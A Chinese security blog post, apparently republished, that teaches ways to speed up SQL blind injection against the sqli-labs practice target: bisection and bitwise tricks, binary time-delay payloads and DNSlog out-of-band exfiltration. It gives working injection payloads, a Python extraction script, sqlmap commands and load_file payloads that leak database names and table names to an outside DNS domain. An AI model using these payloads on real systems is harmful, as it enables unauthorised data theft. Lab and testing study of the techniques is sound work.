SQL盲注加速方法总结

news2024/11/24 14:38:14

sql盲注加速方法总结

盲注分为布尔盲注和时间盲注,一般为加快测试速度都用工具或者脚本跑。但有时还是很慢,这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslog OOB外带通信

常规的布尔盲注

猜解数据库名字的长度
?id=-1' or length(database())=8--+

逐一猜解数据库
?id=-1' or ascii(substr(database(),1,1))=115--+
或者
?id=-1' or ascii(mid(database(),1,1))=115--+
或者
?id=-1' or mid(database(),1,1)='s'--+

按照相同的方法猜解数据表的名字和字段内容
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where
table_schema=database() limit 1,1))=?--+

常规的时间盲注

猜解数据库名字的长度
?id=-1' or if(length(database())=8,sleep(5),0)--+

猜解数据库名称
?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
相同的方式猜解数据表数据字段

以sqli-lab靶场Less9为例进行测试

常规的sqlmap跑一下

sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch

在这里插入图片描述

总共耗时约67s,在爆表时花费11s

1.二分法加速

二分法也是一个常规的算法,数据量太大太小都不适合该算法。而我们盲注加速匹配字符的条件正好合适。

主要原理就是从中间截断,不断缩小检索范围。

在sqli-labs Less8中有判断依据You are in …,因此可以使用布尔盲注。以下是copy别人的二分法脚本

import requests
import time
import math

def binarySearch(url,payload,start,end):
    left=start
    right=end
    while left<right:
        mid=math.floor((left+right)/2)
        xkey1=payload.format(str(mid))
        target = url + xkey1
        #print(target)
        response = requests.post(target)
        if "You" in response.text:
            left=mid+1
        else:
            right=mid
    return int(left)

def database_len(url):
    for i in range(20):
        payload = "?id=1%27and%20length(database())>{}%23"
        return binarySearch(url,payload,0,100)

def database_name(url): #二分法
    databasename = ''
    aa = database_len(url)
    for i in range(1, aa + 1):
        payload = "?id=1'and ascii(substr(database()," + str(i) + ",1))>{}%23"
        #print(payload)
        databasename += chr(binarySearch(url, payload, 32, 126))
    return databasename

def main():
    url = "http://192.168.3.17/sqli-labs/Less-8/"
    datalen = database_len(url)
    print(datalen)
    result = database_name(url)
    print(result)

if __name__ == '__main__':
    main()

结果

在这里插入图片描述

2.与运算加速

主要原理是目标字符转为8位二进制通过1,2,4,8,16,32,64,128各位1进行与运算比较,在比较后就能确定各个比特位具体数值从而推出答案。直接采取字符比较的方式由于ASCII码范围为0~127比较范围比较大耗时长,在通过与运算后只需要比较7次就能确定字符的ascii码

经与运算加速后的py脚本比较hello world!

def compute_by_and(word):
    for ele in word:
        ele_b, times = get_character(ele)
        print(f"Guess the value {ele_b}:{chr(ele_b)} with {times} times")
def get_character(char):
    char_b = ord(char)
    value = 0
    times = 0
    for i in range(7):
        times = times + 1
        if char_b & (2**i):
            value = value + (2**i)
    return value, times
if __name__ == "__main__":
    compute_by_and("hello")

输出结果,总共比较次数7*12=84次

在这里插入图片描述

字符直接比较需要382次,速度差距还是挺大的

import string
def brute_force(word):
    times = 0
    for ele in word:
        for c in string.printable:
            times = times + 1
            if ele == c:
                break
    print(f"Brute force {word} with {times} times")
if __name__ == "__main__":
    brute_force("hello world!")

在这里插入图片描述

3.二进制延时注入加速

将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字

以select @@version为例

在这里插入图片描述

取@@version第一位

select mid((select @@version),1,1)

在这里插入图片描述

第一位字符转ASCII码

select ORD(mid((select @@version),1,1))

在这里插入图片描述

ASCII码转换为二进制

select BIN(ORD(mid((select @@version),1,1)))

在这里插入图片描述

二进制用0填充补齐8位

select LPAD(BIN(ORD(mid((select @@version),1,1))),8,0)

在这里插入图片描述

取二进制第一位

在这里插入图片描述

延时判断是0还是1

select if(1=MID(LPAD(BIN(ORD(mid((select @@version),1,1))),8,0),1,1),sleep(20),0)

4.dnslog

原理:

首先理解UNC(Universal Naming Convention) 通用命名规则,格式如下

#sername为服务器名,sharename为共享资源名
\\servername\sharename

打印机、网络共享文件夹等都会使用到UNC,在使用UNC路径进行查询时会对域名进行DNS查询

在这里插入图片描述

在DNS服务器会接收到请求

在这里插入图片描述

利用OOB(out-of-band)外带通信传递信息

\\tpa.xxxxx.ceye.io\x

在这里插入图片描述

已经传带了信息

在这里插入图片描述

在mysql中利用函数load_file进行OOB外带通信

select load_file('//tpa2.xxx.ceye.io/x')

以此原理可以将查询的数据携带出来

select load_file(concat('//',(select version()),'.xxx.ceye.io/x')))

条件:

1.Web服务器为Windows,UNC为Windows特有
2.数据库load_file函数可用,需要用户有file_priv权限
在这里插入图片描述

3.mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。 
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。 
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

需要在配置文件my.ini中对secure_file_priv进行更改

本机采用的是5.7版本的mysql数据库,secure_file_priv存在默认的路径
在这里插入图片描述

之前的配置

在这里插入图片描述

修改如下

在这里插入图片描述

在修改完配置文件后需要重启mysql服务

在这里插入图片描述

这时secure_file_priv就为空了

在这里插入图片描述

4.域名前缀长度限制为63个字符,利用函数多次显示如mid(),substr(),substring()

5.域名前缀不支持特殊字符,先加密再解密绕过如hex()

利用:

需要用到dns平台,可以自己搭建也可以利用平台,这里直接使用ceye

原sql

SELECT * FROM users WHERE id='$id' LIMIT 0,1

我们构造后的sql

SELECT * FROM users WHERE id='-1' or (select load_file(concat('//',(select version()),'.xxxx.ceye.io/x')))%23 LIMIT 0,1

执行sql后在DNS记录中找到了数据库version

在这里插入图片描述

响应查询版本的payload

or (select load_file(concat('//',(select version()),'.xxxxx.ceye.io/x')))%23

其他payload

爆库

or (select load_file(concat('//',(select database()),'.xxxxx.ceye.io/x')))%23

爆表

or (select load_file(concat('//',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io/x')))%23

在这里插入图片描述

对hex加密后的编码进行解密,转ASCII Hex得到表名

在这里插入图片描述

sqlmap中也有响应的DNS参数 -dns-domain

sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --dbms=mysql --dns-domain xxxxx.ceye.io --current-db --batch

但是在像ceye这种在线平台并不会生效,会出现errordata retrieval through DNS channel failed. Turning off DNS exfiltration support
在这里插入图片描述

想要用sqlmap跑,需准备vps或者云服务器以及域名,sqlmap需要运行在DNS解析的服务器上,在追加–dns-domain参数后会在服务器监听53端口进行接收靶机发起的DNS请求

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/333474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Java 进阶面试题] HashTable, HashMap, ConcurrentHashMap 之间的区别

大家一切顺利~ 文章目录前言HashTable, HashMap, ConcurrentHashMap 之间的区别前言 本篇主要内容如标题 HashTable, HashMap, ConcurrentHashMap 之间的区别 1.ConcurrentHashMap最大优化之处是相比于HashTable,ConcurrentHashMap大大缩小了所冲突的范围,把一把大锁切成了多…

全球爆火的ChatGPT,能否推动芯片市场增长?

“我所热爱的是我真实的生活&#xff0c;因为它包含了我所有的经历和感受&#xff0c;是我每一天都在体验和思考的。”这句非常有诗意的话&#xff0c;来自最近爆火的ChatGPT。 ChatGPT作为一款智能机器人&#xff0c;上知天文下知地理&#xff0c;不仅能写文案&#xff0c;还…

在github上上传文件

一、new新建一个仓库 填写/勾选下面三个部分 二、右键本地的要上传的文件&#xff0c;选择”Git Bash Here"进入。 进入git界面&#xff1a; 三、依次输入下面的命令 1、生成readme文件。 echo "# 在这里填入readme里面的内容" >> README.md2、建立…

(深度学习快速入门)第五章第一节1:GAN概述

获取pdf&#xff1a;密码7281 一&#xff1a;什么是生成模型 生成模型&#xff1a;在概率统计理论中&#xff0c;生成模型是指能够随机生成观测数据的模型&#xff0c;尤其是在给定某些隐含参数的条件下。为了训练一个生成模型我们首先要收集在特定领域下的大量数据&#xff…

Java开发学习(四十八)----MyBatisPlus删除语句之逻辑删除

1、逻辑删除 接下来要讲解是删除中比较重要的一个操作&#xff0c;逻辑删除&#xff0c;先来分析下问题: 这是一个员工和其所签的合同表&#xff0c;关系是一个员工可以签多个合同&#xff0c;是一个一(员工)对多(合同)的表 员工ID为1的张业绩&#xff0c;总共签了三个合同&a…

蓝桥杯刷题022——发现环(拓扑排序、DFS/BFS)

2017国赛 题目描述 小明的实验室有 N 台电脑&#xff0c;编号1⋯N。原本这 N 台电脑之间有 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 不过在最近一次维护网络时&#xff0c;管理员误操作使得某两台电…

centos7安装pdf2htmlEX

1 概述 需要把PDF 转成 html,使用的是 pdf2htmlEX 工具。 2 安装 2.1 安装基本工具和依赖库 yum install vim unzip wget git gcc* cmake poppler* libtool* glib* gio* freetype* pango* cairo* -y 2.2 安装fontforge 2.2.1 下载 wget https://github.com/coolwanglu/f…

koa2-JWT登录验证、上传图片、上传视频

文章目录什么是JWT?怎么使用&#xff1f;后端进行token处理&#xff0c;传递给前端Token的使用分成了两部分前端的处理处理token后端处理携带和不携带token的请求上传图片会持续更新上传视频会持续更新什么是JWT?怎么使用&#xff1f; JWT&#xff08;JSON Web Token&#x…

K_A12_001 基于STM32等单片机采集火光火焰传感参数串口与OLED0.96双显示

K_A12_001 基于STM32等单片机采集火光火焰传感参数串口与OLED0.96双显示一、资源说明二、基本参数参数引脚说明三、驱动说明IIC地址/采集通道选择/时序对应程序:四、部分代码说明1、接线引脚定义1.1、STC89C52RC火光火焰模块1.2、STM32F103C8T6火光火焰模块五、基础知识学习与相…

Revit中添加水平仰视平面图及水平剖面

一、 Revit中如何添加水平仰视平面图 在Revit平面视图中视角是俯视视角&#xff0c;但是在一些特殊的情况下&#xff0c;我们可能需要创建仰视视角的平面视图&#xff0c;例如我们需要向上看天花板的灯具布置的时候。 1.下面讲一下如何在添加仰视平面视图的方法。如图1在模型中…

STM32CubeMX+FATFS+FREERTOS实现W25Q256虚拟U盘

一、软件硬件说明软件&#xff1a;STM32CubeMX V6.6.1 /KEIL5 V5.29硬件&#xff1a;正点原子阿波罗开发板&#xff0c;核心板STM32F429IGT6(176脚)使用USB_SLAVE接口连接电脑USB&#xff0c;从而读取W25Q256里的文件W25Q256&#xff1a;SPI5接口二、STM32CubeMX配置RCC配置SYS…

Lecture3 梯度下降(Gradient Descent)

目录 1 问题背景 2 批量梯度下降 (Batch Gradient Descent) 3 鞍点(Saddle Point) 3 随机梯度下降 (Stochastic Gradient Descent) 4 小批量梯度下降 (Mini-batch Gradient Descent) 1 问题背景 图1 上节课讲述的穷举法求最优权重值在Lecture2中&#xff0c;介绍了使用穷举…

python+django校园在线拍卖系统pycharm项目源码

登录页和注册页 管理员、用户和拍卖者都可以在此页面登录到该系统 拍卖者注册的页面&#xff0c;拍卖者如果没有账号可以点击注册进入到系统 开发语言&#xff1a;Python 框架&#xff1a;django Python版本&#xff1a;python3.7.7 数据库&#xff1a;mysql 数据库工具&…

在国内有几个CCIE考点?

笔试在VUE指定思科考试中心报考加考试; 实验考试在国内只有北京和香港两个考点。还有一些其他考点&#xff0c;下面让我们一起来看一下。 CCIE笔试考点 思科ccie认证的笔试考试地点都在Vue考试中心,Vue考试中心是思科官方授权的考试地点,在国内大部分城市都有分布 CCIE笔试报…

基于ssm的航空售票系统

博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业六年&#xff0c;熟悉各种主流语言&#xff0c;精通java、python、php、爬虫、web开发&#xff0c;已经从做了六年的毕业设计程序开发&#xff0c;开发过上千套毕业设计程序&#xff0c;没有什么华丽的语言&#xf…

c# 将数据导出到EXCEL文件

第一步&#xff1a;项目中加入引用。 在鼠标右击项目&#xff0c;点击【添加】弹出菜单列表&#xff0c;选择【项目引用】弹出【引用管理器】对话框&#xff0c;选择【COM】-【Microsoft Excel 16.0 Object Library】&#xff0c;如图所示&#xff1a; 第二步&#xff0c;编辑…

【项目精选】基于Java的敬老院管理系统的设计和实现

本系统主要是针对敬老院工作人员即管理员和员工设计的。敬老院管理系统 将IT技术为养老院提供一个接口便于管理信息,存储老人个人信息和其他信息,查找 和更新信息的养老院档案,节省了员工的劳动时间,大大降低了成本。 其主要功能包括&#xff1a; 系统管理员用户功能介绍&#…

体系结构概述

目录1.系统模型操作模式和状态寄存器和特殊寄存器2.存储器系统3.栈空间操作4.异常和中断5.嵌套向量中断控制器&#xff08;NVIC&#xff09;1.系统模型 操作模式和状态 Cortex-M0处理器包含两种操作模式和两种状态。 处理器在运行程序时处于Thumb状态&#xff0c;在这种状态…

个人信息保护认证

个人信息保护认证是证明个人信息处理者在认证范围内开展的个人信息收集、存储、使用、加工、传输、提供、公开、删除以及跨境等处理活动符合认证依据标准要求。适用范围 本规则依据《中华人民共和国认证认可条例》制定&#xff0c;规定了对个人信息处理者开展个人信息收集、存储…

【漏洞复现】phpStudy 小皮 Windows面板 RCE漏洞

文章目录前言一、漏洞描述二、漏洞复现前言 本篇文章仅用于漏洞复现研究和学习&#xff0c;切勿从事非法攻击行为&#xff0c;切记&#xff01; 一、漏洞描述 Phpstudy小皮面板存在RCE漏洞&#xff0c;通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系…